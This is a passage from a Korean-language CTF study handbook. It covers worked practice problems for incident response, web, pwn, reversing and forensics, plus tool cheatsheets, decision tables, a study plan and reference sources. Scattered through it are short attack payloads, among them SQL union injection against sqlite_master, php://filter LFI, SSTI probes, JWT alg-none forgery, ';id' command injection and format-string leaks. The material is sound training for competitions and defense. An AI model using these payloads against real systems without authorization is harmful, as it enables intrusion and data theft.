for f in *.db *.sqlite 2>/dev/null; do echo $f; sqlite3 "$f" '.tables'; done
```

5. 실전 예제와 풀이 해설

이 장은 대회장에서 비슷한 문제가 나왔을 때 사고 흐름을 바로 떠올리기 위한 미니 워크북입니다. 문제마다 관찰 -> 가설 -> 명령 -> 해설 형태로 정리했습니다.

IR-01 웹shell 업로드 추적

문제: access.log에서 /admin/upload.php POST 이후 /uploads/a.php?cmd=id 요청이 보인다. 공격자의 최초 RCE 시각과 IOC를 쓰시오.

풀이: POST 업로드 시각이 파일 반입 시각, 이후 cmd=id가 RCE 검증 시각이다. 공격자 IP, 업로드 경로, 파일명, User-Agent, 파일 해시를 IOC로 정리한다.

IR-02 SSH 브루트포스 성공

문제: auth.log에 Failed password가 수십 번 나오고 이후 Accepted password for dev from 198.51.100.7이 보인다.

풀이: 198.51.100.7이 성공 IP, 계정은 dev. 이후 sudo, bash_history, 신규 파일, crontab을 확인해 권한 상승과 지속성을 본다.

IR-03 로그 삭제 흔적

문제: Windows Security.evtx에 Event ID 1102가 보인다.

풀이: 보안 로그가 지워진 정황이다. 삭제 직전/직후의 4624, 4688, PowerShell Operational 로그를 보고 공격자 계정과 실행 파일을 추적한다.

IR-04 서비스 지속성

문제: System.evtx에서 Service Control Manager 7045와 C:\Users\Public\update.exe가 보인다.

풀이: 새 서비스가 등록된 지속성 후보이다. update.exe 해시, 생성 시각, 실행 계정, 네트워크 연결을 IOC로 정리한다.

WEB-01 SQLi 컬럼 수

문제: ?id=1 order by 3은 정상, order by 4는 에러다.

풀이: 컬럼 수는 3개다. union select null,null,null부터 시작하고 화면에 출력되는 컬럼에 table_name/flag를 넣는다.

WEB-02 SQLite 테이블 찾기

문제: Union SQLi가 가능하고 DB가 SQLite다.

풀이: sqlite_master에서 name, sql을 조회한다. 예: union select 1,name,sql from sqlite_master where type='table'--

WEB-03 IDOR

문제: /api/user/1002/profile에서 내 정보가 나오고 쿠키 role=user다.

풀이: 1001, 1000 등 다른 user id를 시도하고 서버가 권한을 확인하는지 본다. 응답에 flag 또는 admin 정보가 있을 수 있다.

WEB-04 LFI 소스코드 읽기

문제: page=home.php는 작동하지만 ../../etc/passwd는 막힌다.

풀이: 인코딩, 중첩 점, php://filter를 시도한다. PHP라면 php://filter/convert.base64-encode/resource=index.php가 유용하다.

WEB-05 SSTI 탐지

문제: profile name을 {{7*7}}로 바꾸니 49로 표시된다.

풀이: SSTI다. 템플릿 엔진을 추정하고 config, environment, 파일 읽기 경로를 본다. Flask/Jinja2면 config에 SECRET_KEY/flag 힌트가 있을 수 있다.

WEB-06 JWT role 변조

문제: JWT payload에 {"role":"user"}가 보인다.

풀이: 서버가 서명을 검증하는지 확인한다. alg none, weak secret, kid 경로 조작 등 CTF 패턴을 순서대로 검증한다.

WEB-07 파일 업로드 경로

문제: 업로드 후 응답이 {"path":"/files/2026/abc.jpg"}다.

풀이: 저장 경로를 직접 접근하고, 확장자/MIME/magic byte 검사를 분리한다. 실행 불가면 파일 내용 노출/다운로드 취약점으로 방향을 바꾼다.

WEB-08 Command injection

문제: ping=127.0.0.1은 정상, ping=127.0.0.1;id에서 uid가 보인다.

풀이: 명령 삽입이다. 공백/슬래시 필터를 확인하고 cat flag 또는 환경변수 확인으로 이어간다. 외부 콜백이 막혀도 응답 출력형이면 충분하다.

PWN-01 ret2win

문제: checksec: NX enabled, Canary disabled, PIE disabled. win 함수 존재.

풀이: cyclic으로 offset을 찾고 반환주소를 win 주소로 덮는다. x64 정렬 문제는 ret gadget 추가로 해결한다.

PWN-02 Canary

문제: 크래시 시 *** stack smashing detected ***가 나온다.

풀이: canary가 있다. format string 또는 출력 버그로 canary를 leak한 뒤 동일 값을 payload에 포함해야 한다.

PWN-03 PIE

문제: 로컬 실행마다 main 주소가 바뀐다.

풀이: PIE가 켜져 있다. 바이너리 내부 함수 주소 leak으로 base를 계산한 뒤 win/ROP 주소를 더한다.

PWN-04 GOT overwrite 실패

문제: Full RELRO가 켜져 있어 GOT overwrite가 안 된다.

풀이: GOT 쓰기는 포기하고 ret2libc/ROP로 system 호출 또는 one_gadget 조건을 맞춘다.

PWN-05 Format string leak

문제: AAAA.%p.%p.%p에서 0x41414141이 보인다.

풀이: 포맷 문자열 offset을 찾았다. %n 쓰거나 %s 읽기로 canary/libc/stack 주소를 leak한다.

REV-01 strcmp 추적

문제: ltrace에서 strcmp("input", "s3cr3t")가 보인다.

풀이: 비밀번호가 평문으로 비교된다. 성공 조건 문자열을 그대로 입력하거나 Ghidra에서 check 함수를 확인한다.

REV-02 XOR 암호

문제: 코드가 input[i] ^ 0x55를 target과 비교한다.

풀이: target 배열에 다시 ^0x55를 적용하면 원문이 나온다. 인덱스 연산이 있으면 역순으로 빼고 xor한다.

FOR-01 PNG 높이 조작

문제: 이미지 아래가 잘린 것 같고 IHDR height가 작다.

풀이: PNG IHDR height를 늘리거나 PIL로 전체 픽셀을 확인한다. pngcheck로 CRC 오류가 나면 CRC를 다시 계산한다.

FOR-02 JPG 뒤 ZIP

문제: binwalk image.jpg에서 zip archive가 뒤에 보인다.

풀이: binwalk -e 또는 dd로 offset부터 추출한다. zip 주석/암호 여부를 확인한다.

FOR-03 PCAP HTTP 파일

문제: pcap에서 GET /flag.zip과 200 OK가 보인다.

풀이: Wireshark Export Objects HTTP 또는 tshark로 HTTP stream을 저장한다. ZIP 내부 주석/암호도 확인한다.

FOR-04 DNS exfil

문제: dns.qry.name에 긴 base32 같은 문자열이 반복된다.

풀이: subdomain 부분만 추출해 순서대로 연결한 뒤 base32/base64/hex를 디코딩한다.

FOR-05 Volatility cmdline

문제: windows.cmdline에서 powershell -enc가 보인다.

풀이: -enc 뒤 base64는 UTF-16LE인 경우가 많다. 디코딩 후 다운로드 URL, 실행 파일, flag 경로를 찾는다.

FOR-06 filescan flag

문제: windows.filescan에 WUsersWBobWDesktopWflag.txt가 보인다.

풀이: dumpfiles로 객체를 덤프한다. 실패하면 strings로 메모리 전체 검색 또는 해당 프로세스 dump를 시도한다.

FOR-07 SQLite DB

문제: 앱 폴더에 app.db가 있다.

풀이: .tables와 .schema를 먼저 보고 users, notes, secrets, flags, config 테이블을 조회한다.

FOR-08 삭제 파일

문제: disk image에서 파일이 삭제된 것 같다.

풀이: fls -r로 삭제 inode를 찾고 icat으로 복구한다. 타임라인은 mactime으로 만든다.

6. 오프라인 명령어 cheatsheet

6.1 웹

```
curl -i http://target/
curl -k -i https://target/
curl -s http://target/ | tee index.html
curl -i -X POST -d 'a=1&b=2' http://target/login
curl -i -H 'Cookie: session=...' http://target/admin
curl -i -H 'Content-Type: application/json' -d '{"id":1}' http://target/api
```

```
python3 - <<'PY'
from urllib.parse import quote, unquote
print(quote("../etc/passwd"))
print(unquote("..%2f..%2fetc%2fpasswd"))
PY
```

```
grep -Eo '(/[A-Za-z0-9_./?=&%-]+)' app.js | sort -u
```

6.2 pwn/rev

```
file chall
checksec --file=chall
readelf -h chall
readelf -s chall | grep FUNC
readelf -r chall
objdump -d -Mintel chall | less
strings -a chall | grep -Ei 'flag|win|system|/bin/sh|correct|wrong'
ROPgadget --binary chall | grep 'pop rdi'
ropper --file chall --search 'pop rdi; ret'
```

```
python3 - <<'PY'
from pwn import *
print(cyclic(200))
print(cyclic_find(0x6161616c))
PY
```

6.3 포렌식

```
file evidence
strings -a evidence | grep -Ei 'flag|ctf|secret|password'
exiftool evidence
binwalk -e evidence
foremost -i evidence -o out
capinfos traffic.pcapng
tshark -r traffic.pcapng -q -z io,phs
tshark -r traffic.pcapng -Y http.request -T fields -e http.host -e http.request.uri
python3 vol.py -f mem.raw windows.info
python3 vol.py -f mem.raw windows.pslist
python3 vol.py -f mem.raw windows.netscan
python3 vol.py -f mem.raw windows.cmdline
python3 vol.py -f mem.raw windows.filescan | grep -Ei 'flag|secret'
mmls disk.img
fls -r -m / disk.img > body.txt
mactime -b body.txt > timeline.csv
```

6.4 인코딩/암호/문자열

목표	명령/아이디어	확인 포인트
Base64/Base32/Hex	base64 -d input.txt, python base64 모듈, bytes.fromhex()	디코딩 결과에 flag/ctf/printable ASCII가 있는지 확인
XOR single byte	0-255 키를 순회하며 bytes([b^k for b in data]) 출력	flag, CTF, http, PK, ELF 같은 단서 검색
반복 XOR	키 길이 후보를 두고 known prefix(flag)와 xor	키 일부를 복구한 뒤 전체 평문 확인
압축 암호	zipinfo, 7z l, strings, 파일 주석 확인	문제 설명/이미지 EXIF/pcap에 암호 힌트가 있을 수 있음

7. 막혔을 때 보는 의사결정표

7.1 웹 문제

증상	바로 할 일	다음 분기
에러 메시지만 나온다	소스보기, response header, stack trace, debug mode 확인	프레임워크/경로/환경변수 힌트
로그인은 되는데 flag가 없다	/admin, /api, /profile, role, hidden field, JWT 확인	인가 취약점/IDOR
입력이 반사된다	HTML/속성/JS/URL 컨텍스트 구분	XSS/SSTI/템플릿
파일을 읽는 기능이 있다	../, URL 인코딩, 절대경로, wrapper 테스트	LFI/path traversal
명령 실행 결과가 안 보인다	시간 지연, 파일 쓰기 후 읽기, stderr redirect 확인	blind command injection
업로드가 막힌다	확장자/MIME/magic byte/zip/polyglot 분리 테스트	업로드 우회 또는 소스 노출

7.2 pwn 문제

증상	해석	해결 방향
바로 segfault	overflow offset 가능	cyclic offset 찾기
stack smashing detected	canary 존재	leak 필요
주소가 매번 다름	PIE/ASLR	주소 leak 후 base 계산
shellcode가 안 됨	NX	ROP/ret2libc
remote만 실패	libc 차이/입출력 타이밍/스택 정렬	remote libc, recvuntil, ret gadget
GOT overwrite 실패	Full RELRO	다른 write target 또는 ROP

7.3 포렌식 문제

제공 파일	1차 명령	다음 행동
이미지	exiftool, binwalk, zsteg, strings	메타데이터, trailing data, LSB, 크기 조작
pcap	capinfos, tshark -z io,phs, Wireshark Follow Stream	HTTP export, DNS exfil, FTP/SMB 파일
memory	vol.py info, pslist, netscan, cmdline	프로세스/네트워크/파일 덤프
disk image	mmls, fls, mactime	마운트, 삭제 파일, 타임라인
zip/7z	7z l, zipinfo, strings	암호 힌트, 주석, nested archive
unknown binary	file, xxd, binwalk, foremost	magic byte 복구, 카빙

8. 오프라인 대회 전 2주 압축 학습 계획

일차	학습 주제	실습 목표	산출물
1일차	공통 triage와 노트 작성	file/strings/binwalk/exiftool/grep 루틴 암기	개인 cheat sheet
2일차	웹 기초 + Burp/curl	요청 재현, 쿠키/헤더/JSON 조작	curl 템플릿
3일차	SQLi	union, blind, sqlite/mysql 차이	SQLi payload 표
4일차	파일 업로드/LFI/RCE	필터 분리 테스트	취약점별 분기표
5일차	JWT/세션/IDOR/SSTI	토큰 구조와 템플릿 탐지	웹 풀이 루틴
6일차	pwn 기초	checksec, cyclic, ret2win	pwntools 템플릿
7일차	ROP/ret2libc/format string	leak -> base -> exploit 흐름	gadget 명령표
8일차	리버싱	Ghidra로 check 함수 재구현	역산 스크립트
9일차	이미지/스테고/압축	LSB, metadata, binwalk	도구별 명령표
10일차	pcap	HTTP export, DNS exfil, stream 분석	tshark 필터표
11일차	memory	Volatility 3 기본 플러그인	프로세스/파일 덤프 루틴
12일차	disk/browser artifact	mmls/fls/icat/sqlite	타임라인 템플릿
13일차	IR 종합	웹 로그+시스템 로그 타임라인 작성	IOC 보고서
14일차	모의 대회	시간 제한으로 5문제 풀기	실패 원인 정리

9. 참고한 공개 자료

아래 자료들은 본 핸드북의 분류 체계와 도구 사용 흐름을 구성할 때 참고한 공개 자료입니다. 실제 대회장에서는 인터넷 접근이 불가능할 수 있으므로, 필요한 공식 문서는 사전에 PDF/HTML로 저장해 두는 것을 권장합니다.

번호	자료	URL
R1	NIST SP 800-61 Rev. 3, Incident Response Recommendations and Considerations for Cybersecurity Risk Management, 2025	https://csrc.nist.gov/pubs/sp/800/61/r3/final
R2	OWASP Web Security Testing Guide - Latest	https://owasp.org/www-project-web-security-testing-guide/latest/
R3	OWASP Top Ten Web Application Security Risks	https://owasp.org/www-project-top-ten/
R4	OWASP Cheat Sheet Series	https://cheatsheetseries.owasp.org/
R5	PortSwigger Web Security Academy	https://portswigger.net/web-security
R6	pwn.college Program Security / Dojos	https://pwn.college/
R7	ROP Emporium	https://ropemporium.com/
R8	pwntools documentation	https://docs.pwntools.com/
R9	Volatility 3 documentation and Volatility Foundation materials	https://volatility3.readthedocs.io/
R10	Wireshark User Guide and Documentation	https://www.wireshark.org/docs/
R11	Autopsy / Sleuth Kit Labs	https://www.autopsy.com/
R12	NSA Ghidra GitHub repository	https://github.com/NationalSecurityAgency/ghidra
R13	CyberDefenders blue-team/DFIR cyber range	https://cyberdefenders.org/

마지막 팁: 오프라인 CTF에서는 완벽한 이론보다 반복 가능한 루틴이 중요합니다. 모르는 문제가 나와도 파일 유형 분류, 로그 시간 순 정렬, 요청 재현, 보호기법 확인, 아티팩트 추출이라는 기본 순서를 잃지 않으면 대부분의 문제에서 실마리를 찾을 수 있습니다.